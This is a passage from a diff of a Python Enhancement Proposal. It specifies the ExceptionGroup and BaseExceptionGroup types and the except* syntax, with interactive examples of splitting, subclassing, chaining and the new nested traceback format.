``ExceptionGroup`` only if -it contains an exception type that we choose to handle. Exceptions of -other types in the same ``ExceptionGroup`` need to be automatically reraised, +exception groups in the style of existing exception handling mechanisms. At +the very least we would like to be able to catch an exception group only if +it contains an exception of a type that we choose to handle. Exceptions of +other types in the same group need to be automatically reraised, otherwise it is too easy for user code to inadvertently swallow exceptions that it is not handling. -The purpose of this PEP, then, is to add the ``except*`` syntax for handling -``ExceptionGroups`` in the interpreter, which in turn requires that -``ExceptionGroup`` is added as a builtin type. The semantics of handling -``ExceptionGroups`` are not backwards compatible with the current exception -handling semantics, so we are not proposing to modify the behavior of the -``except`` keyword but rather to add the new ``except*`` syntax. +We considered whether it is possible to modify the semantics of ``except`` +for this purpose, in a backwards-compatible manner, and found that it is not. +See the `Rejected Ideas`_ section for more on this. + +The purpose of this PEP, then, is to add the ``ExceptionGroup`` builtin type +and the ``except*`` syntax for handling exception groups in the interpreter. +The desired semantics of ``except*`` are sufficiently different from the +current exception handling semantics that we are not proposing to modify the +behavior of the ``except`` keyword but rather to add the new ``except*`` +syntax. + +Our premise is that exception groups and ``except*`` will be used +selectively, only when they are needed. We do not expect them to become +the default mechanism for exception handling. The decision to raise +exception groups from a library needs to be considered carefully and +regarded as an API-breaking change. We expect that this will normally be +done by introducing a new API rather than modifying an existing one. Specification ============= -ExceptionGroup --------------- +ExceptionGroup and BaseExceptionGroup +------------------------------------- -The new builtin exception type, ``ExceptionGroup`` is a subclass of -``BaseException``, so it is assignable to ``Exception.__cause__`` and -``Exception.__context__``, and can be raised and handled as any exception -with ``raise ExceptionGroup(...)`` and ``try: ... except ExceptionGroup: ...``. +We propose to add two new builtin exception types: +``BaseExceptionGroup(BaseException)`` and +``ExceptionGroup(BaseExceptionGroup, Exception)``. They are assignable to +``Exception.__cause__`` and ``Exception.__context__``, and they can be +raised and handled as any exception with ``raise ExceptionGroup(...)`` and +``try: ... except ExceptionGroup: ...`` or ``raise BaseExceptionGroup(...)`` +and ``try: ... except BaseExceptionGroup: ...``. -Its constructor takes two positional-only parameters: a message string and a -sequence of the nested exceptions, for example: +Both have a constructor that takes two positional-only arguments: a message +string and a sequence of the nested exceptions, which are exposed in the +fields ``message`` and ``exceptions``. For example: ``ExceptionGroup('issues', [ValueError('bad value'), TypeError('bad type')])``. - -The ``ExceptionGroup`` class exposes these parameters in the fields ``message`` -and ``errors``. A nested exception can also be an ``ExceptionGroup`` so the -class represents a tree of exceptions, where the leaves are plain exceptions and -each internal node represent a time at which the program grouped some -unrelated exceptions into a new ``ExceptionGroup`` and raised them together. -The ``ExceptionGroup`` class is final, i.e., it cannot be subclassed. - -The ``ExceptionGroup.subgroup(condition)`` method gives us a way to obtain an -``ExceptionGroup`` that has the same metadata (cause, context, traceback) as -the original group, and the same nested structure of ``ExceptionGroups``, but +The difference between them is that ``ExceptionGroup`` can only wrap +``Exception`` subclasses while ``BaseExceptionGroup`` can wrap any +``BaseException`` subclass. The ``BaseExceptionGroup`` constructor +inspects the nested exceptions and if they are all ``Exception`` subclasses, +it returns an ``ExceptionGroup`` rather than a ``BaseExceptionGroup``. The +``ExceptionGroup`` constructor raises a ``TypeError`` if any of the nested +exceptions is not an ``Exception`` instance. In the rest of the document, +when we refer to an exception group, we mean either an ``ExceptionGroup`` +or a ``BaseExceptionGroup``. When it is necessary to make the distinction, +we use the class name. For brevity, we will use ``ExceptionGroup`` in code +examples that are relevant to both. + +Since an exception group can be nested, it represents a tree of exceptions, +where the leaves are plain exceptions and each internal node represents a time +at which the program grouped some unrelated exceptions into a new group and +raised them together. + +The ``BaseExceptionGroup.subgroup(condition)`` method gives us a way to obtain +an exception group that has the same metadata (message, cause, context, +traceback) as the original group, and the same nested structure of groups, but contains only those exceptions for which the condition is true: .. code-block:: @@ -159,68 +186,81 @@ contains only those exceptions for which the condition is true: ... ) ... ] ... ) + >>> import traceback >>> traceback.print_exception(eg) - ExceptionGroup: one - ------------------------------------------------------------ - TypeError: 1 - ------------------------------------------------------------ - ExceptionGroup: two - ------------------------------------------------------------ - TypeError: 2 - ------------------------------------------------------------ - ValueError: 3 - ------------------------------------------------------------ - ExceptionGroup: three - ------------------------------------------------------------ - OSError: 4 + | ExceptionGroup: one (3 sub-exceptions) + +-+---------------- 1 ---------------- + | TypeError: 1 + +---------------- 2 ---------------- + | ExceptionGroup: two (2 sub-exceptions) + +-+---------------- 1 ---------------- + | TypeError: 2 + +---------------- 2 ---------------- + | ValueError: 3 + +------------------------------------ + +---------------- 3 ---------------- + | ExceptionGroup: three (1 sub-exception) + +-+---------------- 1 ---------------- + | OSError: 4 + +------------------------------------ + >>> type_errors = eg.subgroup(lambda e: isinstance(e, TypeError)) >>> traceback.print_exception(type_errors) - ExceptionGroup: one - ------------------------------------------------------------ - TypeError: 1 - ------------------------------------------------------------ - ExceptionGroup: two - ------------------------------------------------------------ - TypeError: 2 + | ExceptionGroup: one (2 sub-exceptions) + +-+---------------- 1 ---------------- + | TypeError: 1 + +---------------- 2 ---------------- + | ExceptionGroup: two (1 sub-exception) + +-+---------------- 1 ---------------- + | TypeError: 2 + +------------------------------------ >>> -Empty nested ``ExceptionGroups`` are omitted from the result, as in the +The match condition is also applied to interior nodes (the exception +groups), and a match causes the whole subtree rooted at this node +to be included in the result. + +Empty nested groups are omitted from the result, as in the case of ``ExceptionGroup("three")`` in the example above. If none of the -leaf exceptions match the condition, ``subgroup`` returns ``None`` rather -than an empty ``ExceptionGroup``. The original ``eg`` +exceptions match the condition, ``subgroup`` returns ``None`` rather +than an empty group. The original ``eg`` is unchanged by ``subgroup``, but the value returned is not necessarily a full -new copy. Leaf exceptions are not copied, nor are ``ExceptionGroups`` which are -fully contained in the result. When it is necessary to partition an -``ExceptionGroup`` because the condition holds for some, but not all of its -contained exceptions, a new ``ExceptionGroup`` is created but the ``__cause__``, -``__context__`` and ``__traceback__`` fields are copied by reference, so are -shared with the original ``eg``. +new copy. Leaf exceptions are not copied, nor are exception groups which are +fully contained in the result. When it is necessary to partition a +group because the condition holds for some, but not all of its +contained exceptions, a new ``ExceptionGroup`` or ``BaseExceptionGroup`` +instance is created, while the ``__cause__``, ``__context__`` and +``__traceback__`` fields are copied by reference, so they are shared with +the original ``eg``. If both the subgroup and its complement are needed, the -``ExceptionGroup.split(condition)`` method can be used: +``BaseExceptionGroup.split(condition)`` method can be used: .. code-block:: >>> type_errors, other_errors = eg.split(lambda e: isinstance(e, TypeError)) >>> traceback.print_exception(type_errors) - ExceptionGroup: one - ------------------------------------------------------------ - TypeError: 1 - ------------------------------------------------------------ - ExceptionGroup: two - ------------------------------------------------------------ - TypeError: 2 + | ExceptionGroup: one (2 sub-exceptions) + +-+---------------- 1 ---------------- + | TypeError: 1 + +---------------- 2 ---------------- + | ExceptionGroup: two (1 sub-exception) + +-+---------------- 1 ---------------- + | TypeError: 2 + +------------------------------------ >>> traceback.print_exception(other_errors) - ExceptionGroup: one - ------------------------------------------------------------ - ExceptionGroup: two - ------------------------------------------------------------ - ValueError: 3 - ------------------------------------------------------------ - ExceptionGroup: three - ------------------------------------------------------------ - OSError: 4 + | ExceptionGroup: one (2 sub-exceptions) + +-+---------------- 1 ---------------- + | ExceptionGroup: two (1 sub-exception) + +-+---------------- 1 ---------------- + | ValueError: 3 + +------------------------------------ + +---------------- 2 ---------------- + | ExceptionGroup: three (1 sub-exception) + +-+---------------- 1 ---------------- + | OSError: 4 + +------------------------------------ >>> @@ -243,8 +283,71 @@ as a shorthand for matching that type: ``eg.split(T)`` divides ``eg`` into the subgroup of leaf exceptions that match the type ``T``, and the subgroup of those that do not (using the same check as ``except`` for a match). -The Traceback of an ``ExceptionGroup`` -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Subclassing Exception Groups +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It is possible to subclass exception groups, but when doing that it is +usually necessary to specify how ``subgroup()`` and ``split()`` should +create new instances for the matching or non-matching part of the partition. +``BaseExceptionGroup`` exposes an instance method ``derive(self, excs)`` +which is called whenever ``subgroup`` and ``split`` need to create a new +exception group. The parameter ``excs`` is the sequence of exceptions to +include in the new group. Since ``derive`` has access to self, it can +copy data from it to the new object. For example, if we need an exception +group subclass that has an additional error code field, we can do this: + +.. code-block:: + + class MyExceptionGroup(ExceptionGroup): + def __new__(cls, message, excs, errcode): + obj = super().__new__(cls, message, excs) + obj.errcode = errcode + return obj + + def derive(self, excs): + return MyExceptionGroup(self.message, excs, self.errcode) + + +Note that we override ``__new__`` rather than ``__init__``; this is because +``BaseExceptionGroup.__new__`` needs to inspect the constructor arguments, and +its signature is different from that of the subclass. Note also that our +``derive`` function does not copy the ``__context__``, ``__cause__`` and +``__traceback__`` fields, because ``subgroup`` and ``split`` do that for us. + +With the class defined above, we have the following: + +.. code-block:: + + >>> eg = MyExceptionGroup("eg", [TypeError(1), ValueError(2)], 42) + >>> + >>> match, rest = eg.split(ValueError) + >>> print(f'match: {match!r}: {match.errcode}') + match: MyExceptionGroup('eg', [ValueError(2)], 42): 42 + >>> print(f'rest: {rest!r}: {rest.errcode}') + rest: MyExceptionGroup('eg', [TypeError(1)], 42): 42 + >>> + +If we do not override ``derive``, then split calls the one defined +on ``BaseExceptionGroup``, which returns an instance of ``ExceptionGroup`` +if all contained exceptions are of type ``Exception``, and +``BaseExceptionGroup`` otherwise. For example: + +.. code-block:: + + >>> class MyExceptionGroup(BaseExceptionGroup): + ... pass + ... + >>> eg = MyExceptionGroup("eg", [ValueError(1), KeyboardInterrupt(2)]) + >>> match, rest = eg.split(ValueError) + >>> print(f'match: {match!r}') + match: ExceptionGroup('eg', [ValueError(1)]) + >>> print(f'rest: {rest!r}') + rest: BaseExceptionGroup('eg', [KeyboardInterrupt(2)]) + >>> + + +The Traceback of an Exception Group +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ For regular exceptions, the traceback represents a simple path of frames, from the frame in which the exception was raised to the frame in which it @@ -259,9 +362,9 @@ traceback's frame list is immutable in the sense that frames only need to be added at the head, and never need to be removed. We do not need to make any changes to this data structure. The ``__traceback__`` -field of the ``ExceptionGroup`` instance represents the path that the contained +field of the exception group instance represents the path that the contained exceptions travelled through together after being joined into the -``ExceptionGroup``, and the same field on each of the nested exceptions +group, and the same field on each of the nested exceptions represents the path through which this exception arrived at the frame of the merge. @@ -271,40 +374,153 @@ in the following example: .. code-block:: - >>> def f(v): - ... try: - ... raise ValueError(v) - ... except ValueError as e: - ... return e - ... - >>> try: - ... raise ExceptionGroup("one", [f(1)]) - ... except ExceptionGroup as e: - ... eg1 = e - ... - >>> try: - ... raise ExceptionGroup("two", [f(2), eg1]) - ... except ExceptionGroup as e: - ... eg2 = e - ... - >>> import traceback - >>> traceback.print_exception(eg2) - Traceback (most recent call last): - File "", line 2, in - ExceptionGroup: two - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in f - ValueError: 2 - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 2, in - ExceptionGroup: one - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in f - ValueError: 1 - >>> + >>> def f(v): + ... try: + ... raise ValueError(v) + ... except ValueError as e: + ... return e + ... + >>> try: + ... raise ExceptionGroup("one", [f(1)]) + ... except ExceptionGroup as e: + ... eg = e + ... + >>> raise ExceptionGroup("two", [f(2), eg]) + + Exception Group Traceback (most recent call last): + | File "", line 1, in + | ExceptionGroup: two (2 sub-exceptions) + +-+---------------- 1 ---------------- + | Traceback (most recent call last): + | File "", line 3, in f + | ValueError: 2 + +---------------- 2 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 2, in + | ExceptionGroup: one (1 sub-exception) + +-+---------------- 1 ---------------- + | Traceback (most recent call last): + | File "", line 3, in f + | ValueError: 1 + +------------------------------------ + >>> + +Handling Exception Groups +~~~~~~~~~~~~~~~~~~~~~~~~~ + +We expect that when programs catch and handle exception groups, they will +typically either query to check if it has leaf exceptions for which some +condition holds (using ``subgroup`` or ``split``) or format the exception +(using the ``traceback`` module's methods). + +It is less likely to be useful to iterate over the individual leaf exceptions. +To see why, suppose that an application caught an exception group raised by +an ``asyncio.gather()`` call. At this stage, the context for each specific +exception is lost. Any recovery for this exception should have been performed +before it was grouped with other exceptions [10]_. +Furthermore, the application is likely to react in the same way to any number +of instances of a certain exception type, so it is more likely that we will +want to know whether ``eg.subgroup(T)`` is None or not, than we are to be +interested in the number of ``Ts`` in ``eg``. + +However, there are situations where it is necessary to inspect the +individual leaf exceptions. For example, suppose that we have an +exception group ``eg`` and that we want to log the ``OSErrors`` that have a +specific error code and reraise everything else. We can do this by passing +a function with side effects to ``subgroup``, as follows: + +.. code-block:: + + def log_and_ignore_ENOENT(err): + if isinstance(err, OSError) and err.errno == ENOENT: + log(err) + return False + else: + return True + + try: + . . . + except ExceptionGroup as eg: + eg = eg.subgroup(log_and_ignore_ENOENT) + if eg is not None: + raise eg + + +In the previous example, when ``log_and_ignore_ENOENT`` is invoked on a leaf +exception, only part of this exception's traceback is accessible -- the part +referenced from its ``__traceback__`` field. If we need the full traceback, +we need to look at the concatenation of the tracebacks of the exceptions on +the path from the root to this leaf. We can get that with direct iteration, +recursively, as follows: + +.. code-block:: + + def leaf_generator(exc, tbs=None): + if tbs is None: + tbs = [] + + tbs.append(exc.__traceback__) + if isinstance(exc, BaseExceptionGroup): + for e in exc.exceptions: + yield from leaf_generator(e, tbs) + else: + # exc is a leaf exception and its traceback + # is the concatenation of the traceback + # segments in tbs. + + # Note: the list returned (tbs) is reused in each iteration + # through the generator. Make a copy if your use case holds + # on to it beyond the current iteration or mutates its contents. + + yield exc, tbs + tbs.pop() + + +We can then process the full tracebacks of the leaf exceptions: + +.. code-block:: + + >>> import traceback + >>> + >>> def g(v): + ... try: + ... raise ValueError(v) + ... except Exception as e: + ... return e + ... + >>> def f(): + ... raise ExceptionGroup("eg", [g(1), g(2)]) + ... + >>> try: + ... f() + ... except BaseException as e: + ... eg = e + ... + >>> for (i, (exc, tbs)) in enumerate(leaf_generator(eg)): + ... print(f"\n=== Exception #{i+1}:") + ... traceback.print_exception(exc) + ... print(f"The complete traceback for Exception #{i+1}:") + ... for tb in tbs: + ... traceback.print_tb(tb) + ... + + === Exception #1: + Traceback (most recent call last): + File "", line 3, in g + ValueError: 1 + The complete traceback for Exception #1 + File "", line 2, in + File "", line 2, in f + File "", line 3, in g + + === Exception #2: + Traceback (most recent call last): + File "", line 3, in g + ValueError: 2 + The complete traceback for Exception #2: + File "", line 2, in + File "", line 2, in f + File "", line 3, in g + >>> except* ------- @@ -317,27 +533,28 @@ exceptions can be handled by each ``except*`` clause: try: ... - except *SpamError: + except* SpamError: ... - except *FooError as e: + except* FooError as e: ... - except *(BarError, BazError) as e: + except* (BarError, BazError) as e: ... In a traditional ``try-except`` statement there is only one exception to handle, so the body of at most one ``except`` clause executes; the first one that matches the exception. With the new syntax, an ``except*`` clause can match a subgroup -of the ``ExceptionGroup`` that was raised, while the remaining part is matched -by following ``except*`` clauses. In other words, a single ``ExceptionGroup`` can +of the exception group that was raised, while the remaining part is matched +by following ``except*`` clauses. In other words, a single exception group can cause several ``except*`` clauses to execute, but each such clause executes at most once (for all matching exceptions from the group) and each exception is either handled by exactly one clause (the first one that matches its type) -or is reraised at the end. +or is reraised at the end. The manner in which each exception is handled by +a ``try-except*`` block is independent of any other exceptions in the group. For example, suppose that the body of the ``try`` block above raises ``eg = ExceptionGroup('msg', [FooError(1), FooError(2), BazError()])``. The ``except*`` clauses are evaluated in order by calling ``split`` on the -``unhandled`` ``ExceptionGroup``, which is initially equal to ``eg`` and then shrinks +``unhandled`` exception group, which is initially equal to ``eg`` and then shrinks as exceptions are matched and extracted from it. In the first ``except*`` clause, ``unhandled.split(SpamError)`` returns ``(None, unhandled)`` so the body of this block is not executed and ``unhandled`` is unchanged. For the second block, @@ -356,8 +573,8 @@ Exceptions are matched using a subclass check. For example: try: low_level_os_operation() - except *OSerror as eg: - for e in eg.errors: + except* OSError as eg: + for e in eg.exceptions: print(type(e).__name__) could output: @@ -377,9 +594,9 @@ The order of ``except*`` clauses is significant just like with the regular >>> try: ... raise ExceptionGroup("problem", [BlockingIOError()]) - ... except *OSError as e: # Would catch the error + ... except* OSError as e: # Would catch the error ... print(repr(e)) - ... except *BlockingIOError: # Would never run + ... except* BlockingIOError: # Would never run ... print('never') ... ExceptionGroup('problem', [BlockingIOError()]) @@ -387,8 +604,8 @@ The order of ``except*`` clauses is significant just like with the regular Recursive Matching ~~~~~~~~~~~~~~~~~~ -The matching of ``except*`` clauses against an ``ExceptionGroup`` is performed -recursively, using the ``ExceptionGroup.split()`` method: +The matching of ``except*`` clauses against an exception group is performed +recursively, using the ``split()`` method: .. code-block:: @@ -403,9 +620,9 @@ recursively, using the ``ExceptionGroup.split()`` method: ... [TypeError('c'), KeyError('d')]) ... ] ... ) - ... except *TypeError as e1: + ... except* TypeError as e1: ... print(f'e1 = {e1!r}') - ... except *Exception as e2: + ... except* Exception as e2: ... print(f'e2 = {e2!r}') ... e1 = ExceptionGroup('eg', [TypeError('b'), ExceptionGroup('nested', [TypeError('c')])]) @@ -415,8 +632,8 @@ recursively, using the ``ExceptionGroup.split()`` method: Unmatched Exceptions ~~~~~~~~~~~~~~~~~~~~ -If not all exceptions in an ``ExceptionGroup`` were matched by the ``except*`` -clauses, the remaining part of the ``ExceptionGroup`` is propagated on: +If not all exceptions in an exception group were matched by the ``except*`` +clauses, the remaining part of the group is propagated on: .. code-block:: @@ -428,9 +645,9 @@ clauses, the remaining part of the ``ExceptionGroup`` is propagated on: ... TypeError('c'), KeyError('e') ... ] ... ) - ... except *ValueError as e: + ... except* ValueError as e: ... print(f'got some ValueErrors: {e!r}') - ... except *TypeError as e: + ... except* TypeError as e: ... print(f'got some TypeErrors: {e!r}') ... except ExceptionGroup as e: ... print(f'propagated: {e!r}') @@ -444,16 +661,17 @@ clauses, the remaining part of the ``ExceptionGroup`` is propagated on: Naked Exceptions ~~~~~~~~~~~~~~~~ -If the exception raised inside the ``try`` body is not of type ``ExceptionGroup``, -we call it a ``naked`` exception. If its type matches one of the ``except*`` -clauses, it is caught and wrapped by an ``ExceptionGroup`` with an empty message -string. This is to make the type of ``e`` consistent and statically known: +If the exception raised inside the ``try`` body is not of type ``ExceptionGroup`` +or ``BaseExceptionGroup``, we call it a ``naked`` exception. If its type matches +one of the ``except*`` clauses, it is caught and wrapped by an ``ExceptionGroup`` +(or ``BaseExceptionGroup`` if it is not an ``Exception`` subclass) with an empty +message string. This is to make the type of ``e`` consistent and statically known: .. code-block:: >>> try: ... raise BlockingIOError - ... except *OSError as e: + ... except* OSError as e: ... print(repr(e)) ... ExceptionGroup('', [BlockingIOError()]) @@ -466,7 +684,7 @@ naked form: >>> try: ... try: ... raise ValueError(12) - ... except *TypeError as e: + ... except* TypeError as e: ... print('never') ... except ValueError as e: ... print(f'caught ValueError: {e!r}') @@ -503,20 +721,20 @@ the stack: ZeroDivisionError: division by zero | -This holds for ``ExceptionGroups`` as well, but the situation is now more complex +This holds for exception groups as well, but the situation is now more complex because there can be exceptions raised and reraised from multiple ``except*`` clauses, as well as unhandled exceptions that need to propagate. The interpreter needs to combine all those exceptions into a result, and raise that. The reraised exceptions and the unhandled exceptions are subgroups of the -original ``ExceptionGroup``, and share its metadata (cause, context, traceback). +original group, and share its metadata (cause, context, traceback). On the other hand, each of the explicitly raised exceptions has its own metadata - the traceback contains the line from which it was raised, its cause is whatever it may have been explicitly chained to, and its context is the value of ``sys.exc_info()`` in the ``except*`` clause of the raise. -In the aggregated ``ExceptionGroup``, the reraised and unhandled exceptions have +In the aggregated exception group, the reraised and unhandled exceptions have the same relative structure as in the original exception, as if they were split off together in one ``subgroup`` call. For example, in the snippet below the inner ``try-except*`` block raises an ``ExceptionGroup`` that contains all @@ -538,10 +756,10 @@ the original ``ExceptionGroup``: ... [OSError(4), TypeError(5), ValueError(6)]) ... ] ... ) - ... except *ValueError as e: + ... except* ValueError as e: ... print(f'*ValueError: {e!r}') ... raise - ... except *OSError as e: + ... except* OSError as e: ... print(f'*OSError: {e!r}') ... except ExceptionGroup as e: ... print(repr(e)) @@ -554,8 +772,9 @@ the original ``ExceptionGroup``: When exceptions are raised explicitly, they are independent of the original exception group, and cannot be merged with it (they have their own cause, -context and traceback). Instead, they are combined into a new ``ExceptionGroup``, -which also contains the reraised/unhandled subgroup described above. +context and traceback). Instead, they are combined into a new ``ExceptionGroup`` +(or ``BaseExceptionGroup``), which also contains the reraised/unhandled +subgroup described above. In the following example, the ``ValueErrors`` were raised so they are in their own ``ExceptionGroup``, while the ``OSErrors`` were reraised so they were @@ -563,105 +782,100 @@ merged with the unhandled ``TypeErrors``. .. code-block:: - >>> try: - ... try: - ... raise ExceptionGroup( - ... "eg", - ... [ - ... ValueError(1), - ... TypeError(2), - ... OSError(3), - ... ExceptionGroup( - ... "nested", - ... [OSError(4), TypeError(5), ValueError(6)]) - ... ] - ... ) - ... except *ValueError as e: - ... print(f'*ValueError: {e!r}') - ... raise e - ... except *OSError as e: - ... print(f'*OSError: {e!r}') - ... raise - ... except ExceptionGroup as e: - ... traceback.print_exception(e) - ... - *ValueError: ExceptionGroup('eg', [ValueError(1), ExceptionGroup('nested', [ValueError(6)])]) - *OSError: ExceptionGroup('eg', [OSError(3), ExceptionGroup('nested', [OSError(4)])]) - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 12, in - File "", line 3, in - ExceptionGroup: eg - ------------------------------------------------------------ - ValueError: 1 - ------------------------------------------------------------ - ExceptionGroup: nested - ------------------------------------------------------------ - ValueError: 6 - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup: eg - ------------------------------------------------------------ - TypeError: 2 - ------------------------------------------------------------ - OSError: 3 - ------------------------------------------------------------ - ExceptionGroup: nested - ------------------------------------------------------------ - OSError: 4 - ------------------------------------------------------------ - TypeError: 5 - >>> + >>> try: + ... raise ExceptionGroup( + ... "eg", + ... [ + ... ValueError(1), + ... TypeError(2), + ... OSError(3), + ... ExceptionGroup( + ... "nested", + ... [OSError(4), TypeError(5), ValueError(6)]) + ... ] + ... ) + ... except* ValueError as e: + ... print(f'*ValueError: {e!r}') + ... raise e + ... except* OSError as e: + ... print(f'*OSError: {e!r}') + ... raise + ... + *ValueError: ExceptionGroup('eg', [ValueError(1), ExceptionGroup('nested', [ValueError(6)])]) + *OSError: ExceptionGroup('eg', [OSError(3), ExceptionGroup('nested', [OSError(4)])]) + | ExceptionGroup: (2 sub-exceptions) + +-+---------------- 1 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 15, in + | File "", line 2, in + | ExceptionGroup: eg (2 sub-exceptions) + +-+---------------- 1 ---------------- + | ValueError: 1 + +---------------- 2 ---------------- + | ExceptionGroup: nested (1 sub-exception) + +-+---------------- 1 ---------------- + | ValueError: 6 + +------------------------------------ + +---------------- 2 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 2, in + | ExceptionGroup: eg (3 sub-exceptions) + +-+---------------- 1 ---------------- + | TypeError: 2 + +---------------- 2 ---------------- + | OSError: 3 + +---------------- 3 ---------------- + | ExceptionGroup: nested (2 sub-exceptions) + +-+---------------- 1 ---------------- + | OSError: 4 + +---------------- 2 ---------------- + | TypeError: 5 + +------------------------------------ + >>> Chaining ~~~~~~~~ -Explicitly raised ``ExceptionGroups`` are chained as with any exceptions. The +Explicitly raised exception groups are chained as with any exceptions. The following example shows how part of ``ExceptionGroup`` "one" became the context for ``ExceptionGroup`` "two", while the other part was combined with it into the new ``ExceptionGroup``. .. code-block:: - >>> try: - ... try: - ... raise ExceptionGroup("one", [ValueError('a'), TypeError('b')]) - ... except *ValueError: - ... raise ExceptionGroup("two", [KeyError('x'), KeyError('y')]) - ... except BaseException as e: - ... traceback.print_exception(e) - ... - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup: one - ------------------------------------------------------------ - ValueError: a - - During handling of the above exception, another exception occurred: - - Traceback (most recent call last): - File "", line 5, in - ExceptionGroup: two - ------------------------------------------------------------ - KeyError: 'x' - ------------------------------------------------------------ - KeyError: 'y' - - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup: one - ------------------------------------------------------------ - TypeError: b + >>> try: + ... raise ExceptionGroup("one", [ValueError('a'), TypeError('b')]) + ... except* ValueError: + ... raise ExceptionGroup("two", [KeyError('x'), KeyError('y')]) + ... + | ExceptionGroup: (2 sub-exceptions) + +-+---------------- 1 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 2, in + | ExceptionGroup: one (1 sub-exception) + +-+---------------- 1 ---------------- + | ValueError: a + +------------------------------------ + | + | During handling of the above exception, another exception occurred: + | + | Exception Group Traceback (most recent call last): + | File "", line 4, in + | ExceptionGroup: two (2 sub-exceptions) + +-+---------------- 1 ---------------- + | KeyError: 'x' + +---------------- 2 ---------------- + | KeyError: 'y' + +------------------------------------ + +---------------- 2 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 2, in + | ExceptionGroup: one (1 sub-exception) + +-+---------------- 1 ---------------- + | TypeError: b + +------------------------------------ + >>> Raising New Exceptions @@ -673,30 +887,24 @@ chaining: .. code-block:: - >>> try: - ... try: - ... raise TypeError('bad type') - ... except *TypeError as e: - ... raise ValueError('bad value') from e - ... except ExceptionGroup as e: - ... traceback.print_exception(e) - ... - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup - ------------------------------------------------------------ - ExceptionGroup - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - TypeError: bad type - - The above exception was the direct cause of the following exception: - - Traceback (most recent call last): - File "", line 5, in - ValueError: bad value - >>> + >>> try: + ... raise TypeError('bad type') + ... except* TypeError as e: + ... raise ValueError('bad value') from e + ... + | ExceptionGroup: (1 sub-exception) + +-+---------------- 1 ---------------- + | Traceback (most recent call last): + | File "", line 2, in + | TypeError: bad type + +------------------------------------ + + The above exception was the direct cause of the following exception: + + Traceback (most recent call last): + File "", line 4, in + ValueError: bad value + >>> Note that exceptions raised in one ``except*`` clause are not eligible to match @@ -704,117 +912,98 @@ other clauses from the same ``try`` statement: .. code-block:: - >>> try: - ... try: - ... raise TypeError(1) - ... except *TypeError: - ... raise ValueError(2) # <- not caught in the next clause - ... except *ValueError: - ... print('never') - ... except ExceptionGroup as e: - ... traceback.print_exception(e) - ... - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup - ------------------------------------------------------------ - ExceptionGroup - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - TypeError: 1 - - During handling of the above exception, another exception occurred: - - Traceback (most recent call last): - File "", line 5, in - ValueError: 2 + >>> try: + ... raise TypeError(1) + ... except* TypeError: + ... raise ValueError(2) from None # <- not caught in the next clause + ... except* ValueError: + ... print('never') + ... + Traceback (most recent call last): + File "", line 4, in + ValueError: 2 + >>> Raising a new instance of a naked exception does not cause this exception to -be wrapped by an ``ExceptionGroup``. Rather, the exception is raised as is, and +be wrapped by an exception group. Rather, the exception is raised as is, and if it needs to be combined with other propagated exceptions, it becomes a -direct child of the new ``ExceptionGroup`` created for that: +direct child of the new exception group created for that: .. code-block:: >>> try: - ... try: - ... raise ExceptionGroup("eg", [ValueError('a')]) - ... except *ValueError: - ... raise KeyError('x') - ... except BaseException as e: - ... traceback.print_exception(e) + ... raise ExceptionGroup("eg", [ValueError('a')]) + ... except* ValueError: + ... raise KeyError('x') ... - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup: eg - ------------------------------------------------------------ - ValueError: a - - During handling of the above exception, another exception occurred: - - Traceback (most recent call last): - File "", line 5, in - KeyError: 'x' + | ExceptionGroup: (1 sub-exception) + +-+---------------- 1 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 2, in + | ExceptionGroup: eg (1 sub-exception) + +-+---------------- 1 ---------------- + | ValueError: a + +------------------------------------ + | + | During handling of the above exception, another exception occurred: + | + | Traceback (most recent call last): + | File "", line 4, in + | KeyError: 'x' + +------------------------------------ >>> >>> try: - ... try: - ... raise ExceptionGroup("eg", [ValueError('a'), TypeError('b')]) - ... except *ValueError: - ... raise KeyError('x') - ... except BaseException as e: - ... traceback.print_exception(e) + ... raise ExceptionGroup("eg", [ValueError('a'), TypeError('b')]) + ... except* ValueError: + ... raise KeyError('x') ... - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup: eg - ------------------------------------------------------------ - ValueError: a - - During handling of the above exception, another exception occurred: - - Traceback (most recent call last): - File "", line 5, in - KeyError: 'x' - - ------------------------------------------------------------ - Traceback (most recent call last): - File "", line 3, in - ExceptionGroup: eg - ------------------------------------------------------------ - TypeError: b + | ExceptionGroup: (2 sub-exceptions) + +-+---------------- 1 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 2, in + | ExceptionGroup: eg (1 sub-exception) + +-+---------------- 1 ---------------- + | ValueError: a + +------------------------------------ + | + | During handling of the above exception, another exception occurred: + | + | Traceback (most recent call last): + | File "", line 4, in + | KeyError: 'x' + +---------------- 2 ---------------- + | Exception Group Traceback (most recent call last): + | File "", line 2, in + | ExceptionGroup: eg (1 sub-exception) + +-+---------------- 1 ---------------- + | TypeError: b + +------------------------------------ >>> -Finally, as an example of how the proposed API can help us work effectively -with ``ExceptionGroups``, the following code ignores all ``EPIPE`` OS errors, -while letting all other exceptions propagate. +Finally, as an example of how the proposed semantics can help us work +effectively with exception groups, the following code ignores all ``EPIPE`` +OS errors, while letting 